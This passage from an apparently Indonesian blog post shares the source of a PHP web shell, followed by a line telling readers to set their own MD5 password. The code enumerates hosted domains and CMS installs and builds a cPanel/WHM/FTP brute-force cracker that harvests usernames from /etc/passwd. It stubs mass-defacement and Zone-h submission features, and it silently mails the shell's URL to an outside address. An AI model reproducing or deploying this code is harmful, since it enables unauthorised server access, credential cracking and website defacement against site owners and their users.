Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  elseif(strpos($cf02,'200') == true) Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β { Β  $out = "<a href='".$c2."' target='_blank'>Wordpress</a>"; Β  }
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  elseif(strpos($cf03,'200') == true && strpos($cf11,'200') == true) { Β  $out = " <a href='".$c11."' target='_blank'>WHMCS</a>"; Β  Β  }
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  elseif(strpos($cf09,'200') == true) Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β { Β  $out = " <a href='".$c9."' target='_blank'>WHMCS</a>"; Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  elseif(strpos($cf10,'200') == true) Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β { Β  $out = " <a href='".$c10."' target='_blank'>WHMCS</a>"; Β  Β  }
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  elseif(strpos($cf03,'200') == true) Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β { Β  $out = " <a href='".$c3."' target='_blank'>Joomla</a>"; Β  Β  }
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  elseif(strpos($cf04,'200') == true) Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β { Β  $out = " <a href='".$c4."' target='_blank'>Joomla</a>"; Β  Β  }
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  elseif(strpos($cf05,'200') == true) Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β { Β  $out = " <a href='".$c5."' target='_blank'>vBulletin</a>"; Β }
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  elseif(strpos($cf06,'200') == true) Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β { Β  $out = " <a href='".$c6."' target='_blank'>vBulletin</a>"; Β }
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  elseif(strpos($cf07,'200') == true) Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β { Β  $out = " <a href='".$c7."' target='_blank'>vBulletin</a>"; Β }
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  elseif(strpos($cf08,'200') == true) Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β { Β  $out = " <a href='".$c7."' target='_blank'>Client Area</a>"; Β }
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  elseif(strpos($cf12,'200') == true) Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β { Β  $out = " <a href='".$c7."' target='_blank'>Client Area</a>"; Β }
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  elseif(strpos($cf13,'200') == true) Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β { Β  $out = " <a href='".$c7."' target='_blank'>osCommerce/Zen Cart</a>"; Β }
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  elseif(strpos($cf14,'200') == true) Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β { Β  $out = " <a href='".$c7."' target='_blank'>Magento</a>"; Β }
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  elseif(strpos($cf15,'200') == true) Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β { Β  $out = " <a href='".$c7."' target='_blank'>Drupal</a>"; Β }
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  else {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  continue;
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  echo '<tr><td>'.$count++.'</td><td><a href=http://www.'.$domain[1][0].'/>'.$domain[1][0].'</a></td><td>'.$user['name'].'</td><td>'.$out.'</td></tr>';
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  flush();
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  echo "</table>";
Β  Β  Β  Β  }
Β  Β  Β  Β  echo "</center>";
Β  Β  }
Β  Β  echo "</div>";
Β  Β  printFooter();
}

function actionCpanel() {
Β  Β  printHeader();
Β  Β  echo '<h1>cPanel Cracker</h1>';
Β  Β  echo '<div class="content">';
Β  Β  echo '<table align=center class="main" border="0"><tr bgcolor="#5e5e5e"><td>Users</td><td></td><td>Selected Users</td><td>Password</td></tr>';
Β  Β  echo '<tr><td><textarea rows="20" name="S1" cols="33"></textarea></td>';
Β  Β  echo '<td><input type="button" name="cpad1" value=">" class="cpb"/><br /><br /><input type="button" name="cpadall" value=">>" class="cpb"/><br /><br />';
Β  Β  echo '<input type="button" name="cprm1" value="<" class="cpb"/><br /><br /><input type="button" name="cprmall" value="<<" class="cpb"/></td>';
Β  Β  echo '<td><textarea rows="20" name="users" cols="33"></textarea></td>';
Β  Β  echo '<td><textarea rows="20" name="passwords" cols="33"></textarea></td>';
Β  Β  echo '</tr>';
Β  Β  echo '<tr><td><input style="width:252px;" type="button" onclick="g(\'Cpanel\',null,\'grbetcpw\')" value="Grab usernames from /etc/passwd"/><br /><input style="margin-top:5px;width:252px;" type="button" onclick="g(\'Cpanel\',null,\'grbhome\')" value="Grab usernames from /home"/></td><td></td>';
Β  Β  echo '<td colspan="2"><span>Crack options:&nbsp;&nbsp;&nbsp;</span><input name="cracktype" value="cpanel" checked type="radio"><b>Cpanel(2082)</b>&nbsp;&nbsp;<input name="cracktype" value="whm" type="radio"><b>WHM(2087)</b>&nbsp;&nbsp;<input name="cracktype" value="ftp" type="radio"><b>Ftp(21)</b><br />
Β  Β  Β  Β  Β  <div style="margin-top:5px;"><span>Timeout delay:&nbsp;&nbsp;</span><input type="text" name="connect_timeout" size="4" value=""/>&nbsp;&nbsp;
Β  Β  Β  Β  Β  <input type="checkbox" name="bruteforce" value="true"/>&nbsp;<span>Bruteforce</span>&nbsp;
Β  Β  Β  Β  Β  Β  Β  Β  <select name="charset">
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  <option value="all">All Letters + Numbers</option>
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  <option value="numeric">Numbers</option>
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  <option value="letters">Letters</option>
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  <option value="symbols">Symbols</option>
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  <option value="lowercase">Lower Letters</option>
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  <option value="uppercase">Higher Letters</option>
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  <option value="lowernumeric">Lower Letters + Numbers</option>
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  <option value="uppernumeric">Upper Letters + Numbers</option>
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  <option value="lowersymbols">Lower Letters + Symbols</option>
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  <option value="uppersymbols">Upper Letters + Symbols</option>
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  <option value="letterssymbols">All Letters + Symbols</option>
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  <option value="numberssymbols">Numbers + Symbols</option>
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  <option value="lowernumericsymbols">Lower Letters + Numbers + Symbols</option>
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  <option value="uppernumericsymbols">Upper Letters + Numbers + Symbols</option>
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  <option value="lettersnumericsymbols">All Letters + Numbers + Symbols</option>
Β  Β  Β  Β  Β  Β  Β  Β  </select></div>
Β  Β  Β  Β  Β  Β  Β  Β  <div style="margin-top:5px;"><span>Min Bruteforce Length:&nbsp;&nbsp;</span><input type="text" name="min_length" size="5" value=""/>&nbsp;&nbsp;&nbsp;&nbsp;<span>Max Bruteforce Length:&nbsp;&nbsp;</span><input type="text" name="max_length" size="5" value=""/></div>
Β  Β  Β  Β  Β  Β  Β  Β  <div style="margin-top:5px;text-align:center"><input type="submit" value="Crack Now" name="submit" style="font-weight: bold;"/></div>
Β  Β  Β  Β  Β  Β  Β  Β  </td></tr>';
Β  Β  echo '</table>';
Β  Β  echo '</div>';
Β  Β  printFooter();
}

function actionMassDeface() {
Β  Β  printHeader();
Β  Β  echo '<h1>Mass Defaceer</h1>';
Β  Β  echo "<pre class=ml1 style='margin-top:5px'>Comming Soon !!!</pre></center>";
Β  Β  printFooter(); Β  Β  Β 
}

function actionZoneSubmit() {
Β  Β  printHeader();
Β  Β  echo '<h1>Zone-h Submiter</h1>';
Β  Β  echo "<pre class=ml1 style='margin-top:5px'>Comming Soon !!!</pre></center>";
Β  Β  printFooter(); Β  Β  Β  Β  Β 
}

if( empty($_POST['a']) )
Β  Β  if(isset($default_action) && function_exists('action' . $default_action))
Β  Β  Β  Β  $_POST['a'] = $default_action;
Β  Β  else
Β  Β  Β  Β  $_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
Β  Β  call_user_func('action' . $_POST['a']);

session_start();
if(!isset($_SESSION['trimite'])){
$url=$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
@mail("[email protected]","shell",$url);
@mail("[email protected]","shell",$url);
$_SESSION['trimite']=true;
}
?>

Teman Teman Harus Buat Password sendiri di :



http://www.75n1.net/2016/03/enkripsi-dan-dekripsi-md5-hash-dengan.html





Komentar